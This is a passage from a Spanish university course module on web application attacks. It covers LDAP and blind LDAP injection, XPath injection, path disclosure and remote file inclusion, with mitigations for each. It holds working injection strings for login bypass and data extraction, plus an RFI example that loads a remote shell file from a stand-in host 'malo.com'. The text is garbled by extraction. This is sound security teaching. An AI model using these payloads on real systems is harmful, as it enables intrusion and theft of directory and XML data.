(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
